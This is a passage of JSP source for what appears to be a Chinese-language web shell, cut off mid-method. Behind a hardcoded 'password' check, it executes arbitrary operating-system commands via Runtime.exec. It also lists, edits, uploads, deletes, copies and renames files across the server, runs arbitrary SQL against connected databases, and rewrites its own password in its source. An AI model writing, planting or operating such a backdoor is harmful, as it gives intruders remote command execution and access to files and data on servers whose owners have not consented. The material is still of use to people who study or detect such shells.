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dy.jsp
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dy.jsp
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<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "password";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;
public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}
public String HTMLEncode(String str) {
str = str.replaceAll(" ", " ");
str = str.replaceAll("<", "<");
str = str.replaceAll(">", ">");
str = str.replaceAll("\r\n", "<br>");
return str;
}
public String Unicode2GB(String str) {
String sRet = null;
try {
sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
} catch (Exception e) {
sRet = str;
}
return sRet;
}
public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;
try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}
insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
} finally {
return retStr;
}
}
public String pathConvert(String path) {
String sRet = path.replace('\\', '/');
File file = new File(path);
if (file.getParent() != null) {
if (file.isDirectory()) {
if (! sRet.endsWith("/"))
sRet += "/";
}
} else {
if (! sRet.endsWith("/"))
sRet += "/";
}
return sRet;
}
public String strCut(String str, int len) {
String sRet;
len -= 3;
if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}
return sRet;
}
public String listFiles(String path, String curUri) {
File[] files = null;
File curFile = null;
String sRet = null;
int n = 0;
boolean isRoot = path.equals("");
path = pathConvert(path);
try {
if (isRoot) {
files = File.listRoots();
} else {
try {
curFile = new File(path);
String[] sFiles = curFile.list();
files = new File[sFiles.length];
for (n = 0; n < sFiles.length; n ++) {
files[n] = new File(path + sFiles[n]);
}
} catch (Exception e) {
sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
}
}
if (sRet == null) {
sRet = "\n";
sRet += "<script language=\"javascript\">\n";
sRet += "var selectedFile = null;\n";
sRet += "<!--\n";
sRet += "function createFolder() {\n";
sRet += " var folderName = prompt(\"请输入目录名\", \"\");\n";
sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function createFile() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function selectFile(obj) {\n";
sRet += " if (selectedFile != null)\n";
sRet += " selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
sRet += " selectedFile = obj;\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function change(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function restore(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#FFFFFF\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function showUpload() {\n";
sRet += " up.style.visibility = \"visible\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function copyFile() {\n";
sRet += " var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
sRet += " document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
sRet += " document.fileList.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function rename() {\n";
sRet += " var count = 0;\n";
sRet += " var selected = -1;\n";
sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
sRet += " if (document.fileList.filesDelete[i].checked) {\n";
sRet += " count ++;\n";
sRet += " selected = i;\n";
sRet += " }\n";
sRet += " }\n";
sRet += " if (count > 1)\n";
sRet += " alert(\"不能重命名多个文件\");\n";
sRet += " else if (selected == -1)\n";
sRet += " alert(\"没有选中要重命名的文件\");\n";
sRet += " else {\n";
sRet += " var newName = prompt(\"请输入新文件名\", \"\");\n";
sRet += " if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
sRet += " }\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
if (curFile != null) {
sRet += " <tr>\n";
sRet += " <td colspan=\"4\" valign=\"middle\">\n";
sRet += " <a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" /> <input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
}
sRet += "</form>\n";
sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
for (n = 0; n < files.length; n ++) {
sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
if (! isRoot) {
sRet += " <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
if (files[n].isDirectory()) {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\"><" + strCut(files[n].getName(), 50) + "></a></td>\n";
} else {
sRet += " <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
}
sRet += " <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
sRet += " <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
} else {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
}
sRet += " </tr>\n";
}
sRet += " </form>\n";
sRet += "</table>\n";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">security violation, no privilege.</font>";
}
return sRet;
}
public boolean isTextFile(String extName) {
int i;
boolean bRet = false;
if (! extName.equals("")) {
for (i = 0; i < _textFileTypes.length; i ++) {
if (extName.equals(_textFileTypes[i])) {
bRet = true;
break;
}
}
} else {
bRet = true;
}
return bRet;
}
public String getExtName(String fileName) {
String sRet = "";
int nLastDotPos;
fileName = pathConvert(fileName);
nLastDotPos = fileName.lastIndexOf(".");
if (nLastDotPos == -1) {
sRet = "";
} else {
sRet = fileName.substring(nLastDotPos + 1);
}
return sRet;
}
public String browseFile(String path) {
String sRet = "";
File file = null;
FileReader fileReader = null;
path = pathConvert(path);
try {
file = new File(path);
fileReader = new FileReader(file);
String fileString = "";
char[] chBuffer = new char[1024];
int ret;
sRet = "<script language=\"javascript\">\n";
while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, ret);
}
sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
sRet += "var doc = wnd.document;\n";
sRet += "doc.write(\"" + "aaa" + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet += "<script language=\"javascript\">\n";
sRet += "alert(\"打开文件" + path + "失败\");\n";
sRet += "</script>\n";
}
return sRet;
}
public String openFile(String path, String curUri) {
String sRet = "";
boolean canOpen = false;
int nLastDotPos = path.lastIndexOf(".");
String extName = "";
String fileString = null;
File curFile = null;
path = pathConvert(path);
if (nLastDotPos == -1) {
canOpen = true;
} else {
extName = path.substring(nLastDotPos + 1);
canOpen = isTextFile(extName);
}
if (canOpen) {
try {
fileString = "";
curFile = new File(path);
FileReader fileReader = new FileReader(curFile);
char[] chBuffer = new char[1024];
int nRet;
while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, nRet);
}
fileReader.close();
} catch (IOException e) {
fileString = null;
sRet = "<font color=\"red\">不能打开文件\"" + path + "\"</font>";
} catch (SecurityException e) {
fileString = null;
sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
}
} else {
sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
}
if (fileString != null) {
sRet += "<script language=\"javascript\">";
sRet += "<!--\n";
sRet += "function saveAs() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
sRet += " document.openfile.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
sRet += " <tr>\n";
sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">上级目录</a>]</td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\">\n";
sRet += " <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
sRet += fileString;
sRet += " </textarea>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"保存\" /> <input type=\"button\" class=\"button\" value=\"另存为\" onclick=\"javascript:saveAs()\" /></td>\n";
sRet += " </tr>\n";
sRet += " </form>\n";
sRet += "</table>\n";
}
return sRet;
}
public String saveFile(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path);
if (! file.canWrite()) {
sRet = "<font color=\"red\">文件不可写</font>";
} else {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "文件保存成功，正在返回，请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n";
}
} catch (IOException e) {
sRet = "<font color=\"red\">保存文件失败</font>";
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
}
return sRet;
}
public String createFolder(String path, String curUri, String folderName) {
String sRet = "";
File folder = null;
path = pathConvert(path);
try {
folder = new File(path + folderName);
if (folder.exists() && folder.isDirectory()) {
sRet = "<font color=\"red\">\"" + path + folderName + "\"目录已经存在</font>";
} else {
if (folder.mkdir()) {
sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\"，正在返回，请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
} else {
sRet = "<font color=\"red\">创建目录\"" + folderName + "\"失败</font>";
}
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
}
return sRet;
}
public String createFile(String path, String curUri, String fileName) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path + fileName);
if (file.createNewFile()) {
sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />";
} else {
sRet = "<font color=\"red\">\"" + path + fileName + "\"文件已经存在</font>";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
} catch (IOException e) {
sRet = "<font color=\"red\">创建文件\"" + path + fileName + "\"失败</font>";
}
return sRet;
}
public String deleteFile(String path, String curUri, String[] files2Delete) {
String sRet = "";
File tmpFile = null;
try {
for (int i = 0; i < files2Delete.length; i ++) {
tmpFile = new File(files2Delete[i]);
if (! tmpFile.delete()) {
sRet += "<font color=\"red\">删除\"" + files2Delete[i] + "\"失败</font><br>\n";
}
}
if (sRet.equals("")) {
sRet = "删除成功，正在返回，请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>\n";
}
return sRet;
}
public String saveAs(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
FileWriter fileWriter = null;
try {
file = new File(path);
if (file.createNewFile()) {
fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />";
} else {
sRet = "<font color=\"red\">文件\"" + path + "\"已经存在</font>";
}
} catch (IOException e) {
sRet = "<font color=\"red\">创建文件\"" + path + "\"失败</font>";
}
return sRet;
}
public String uploadFile(ServletRequest request, String path, String curUri) {
String sRet = "";
File file = null;
InputStream in = null;
path = pathConvert(path);
try {
in = request.getInputStream();
byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;
//
// 把输入流读入一个字节数组
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}
in.close();
//
// 从字节数组中得到文件分隔符号
//
int i = 0;
byte[] seperator;
while (inBytes[i] != 13) {
i ++;
}
seperator = new byte[i];
for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}
//
// 得到Header部分
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);
//
// 得到文件名
//
token = "filename=\"";
start = dataHeader.indexOf(token) + token.length();
token = "\"";
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = pathConvert(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
//
// 得到文件内容开始位置
//
i += 4;
start = i;
/*
boolean found = true;
byte[] tmp = new byte[seperator.length];
while (i <= inBytes.length - 1 - seperator.length) {
for (int j = i; j < i + seperator.length; j ++) {
if (seperator[j - i] != inBytes[j]) {
found = false;
break;
} else
tmp[j - i] = inBytes[j];
}
if (found)
break;
i ++;
}*/
//
// 偷懒的办法
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
//
// 保存为文件
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream out = new FileOutputStream(newFile);
//out.write(inBytes, start, end - start + 1);
out.write(inBytes, start, end - start + 1);
out.close();
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传成功" + fileName + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传失败\");\n";
sRet += "</script>\n";
}
sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
return sRet;
}
public boolean fileCopy(String srcPath, String dstPath) {
boolean bRet = true;
try {
FileInputStream in = new FileInputStream(new File(srcPath));
FileOutputStream out = new FileOutputStream(new File(dstPath));
byte[] buffer = new byte[1024];
int nBytes;
while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
out.write(buffer, 0, nBytes);
}
in.close();
out.close();
} catch (IOException e) {
bRet = false;
}
return bRet;
}
public String getFileNameByPath(String path) {
String sRet = "";
path = pathConvert(path);
if (path.lastIndexOf("/") != -1) {
sRet = path.substring(path.lastIndexOf("/") + 1);
} else {
sRet = path;
}
return sRet;
}
public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
String sRet = "";
int i;
path = pathConvert(path);
dstPath = pathConvert(dstPath);
for (i = 0; i < files2Copy.length; i ++) {
if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
sRet += "<font color=\"red\">文件\"" + files2Copy[i] + "\"复制失败</font><br/>";
}
}
if (sRet.equals("")) {
sRet = "文件复制成功，正在返回，请稍候……";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
return sRet;
}
public boolean isFileName(String fileName) {
boolean bRet = false;
Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$");
Matcher m = p.matcher(fileName);
bRet = m.matches();
return bRet;
}
public String renameFile(String path, String curUri, String file2Rename, String newName) {
String sRet = "";
path = pathConvert(path);
file2Rename = pathConvert(file2Rename);
try {
File file = new File(file2Rename);
newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
File newFile = new File(newName);
if (! file.exists()) {
sRet = "<font color=\"red\">文件\"" + file2Rename + "\"不存在</font>";
} else {
file.renameTo(newFile);
sRet = "文件重命名成功，正在返回，请稍候……";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题导致文件\"" + file2Rename + "\"复制失败</font>";
}
return sRet;
}
public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
boolean bRet = true;
String driverName = "";
if (dbServer.equals(""))
dbServer = "localhost";
try {
if (dbType.equals("sqlserver")) {
driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
if (dbPort.equals(""))
dbPort = "1433";
_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("mysql")) {
driverName = "com.mysql.jdbc.Driver";
if (dbPort.equals(""))
dbPort = "3306";
_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("odbc")) {
driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
} else if (dbType.equals("oracle")) {
driverName = "oracle.jdbc.driver.OracleDriver";
_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
} else if (dbType.equals("db2")) {
driverName = "com.ibm.db2.jdbc.app.DB2Driver";
_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
}
Class.forName(driverName);
} catch (ClassNotFoundException e) {
bRet = false;
}
return bRet;
}
public boolean DBConnect(String User, String Password) {
boolean bRet = false;
if (_url != null) {
try {
_dbConnection = DriverManager.getConnection(_url, User, Password);
_dbStatement = _dbConnection.createStatement();
bRet = true;
} catch (SQLException e) {
bRet = false;
}
}
return bRet;
}
public String DBExecute(String sql) {
String sRet = "";
if (_dbConnection == null || _dbStatement == null) {
sRet = "<font color=\"red\">数据库没有正常连接</font>";
} else {
try {
if (sql.toLowerCase().substring(0, 6).equals("select")) {
ResultSet rs = _dbStatement.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
int colNum = rsmd.getColumnCount();
int colType;
sRet = "sql语句执行成功，返回结果<br>\n";
sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n";
sRet += " <tr bgcolor=\"#FFFFFF\">\n";
for (int i = 1; i <= colNum; i ++) {
sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
}
sRet += " </tr>\n";
while (rs.next()) {
sRet += " <tr bgcolor=\"#FFFFFF\">\n";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);
sRet += " <td>";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;
case Types.BIT:
sRet += rs.getBoolean(i);
break;
case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;
case Types.CHAR:
sRet += rs.getString(i);
break;
case Types.DATE:
sRet += rs.getDate(i).toString();
break;
case Types.DECIMAL:
sRet += rs.getDouble(i);
break;
case Types.NUMERIC:
sRet += rs.getDouble(i);
break;
case Types.REAL:
sRet += rs.getDouble(i);
break;
case Types.DOUBLE:
sRet += rs.getDouble(i);
break;
case Types.FLOAT:
sRet += rs.getFloat(i);
break;
case Types.INTEGER:
sRet += rs.getInt(i);
break;
case Types.TINYINT:
sRet += rs.getShort(i);
break;
case Types.VARCHAR:
sRet += rs.getString(i);
break;
case Types.TIME:
sRet += rs.getTime(i).toString();
break;
case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += " </td>\n";
}
sRet += " </tr>\n";
}
sRet += "</table>\n";
rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql语句执行成功";
} else {
sRet = "<font color=\"red\">sql语句执行失败</font>";
}
}
} catch (SQLException e) {
sRet = "<font color=\"red\">sql语句执行失败</font>";
}
}
return sRet;
}
public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}
if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class JshellConfig {
private String _jshellContent = null;
private String _path = null;
public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}
private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";
while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}
jshell.close();
} catch (IOException e) {
throw new JshellConfigException("打开文件失败");
}
}
public void save() throws JshellConfigException {
FileWriter jshell = null;
try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;
for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}
jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("写文件失败");
} finally {
try {
jshell.close();
} catch (IOException e) {
}
}
}
public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = p.matcher(password);
if (! m.matches()) {
throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
}
p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
//return HTMLEncode(_jshellContent);
}
public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);
if (! m.matches()) {
throw new JshellConfigException("编码格式只能是字母和数字的组合");
}
p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");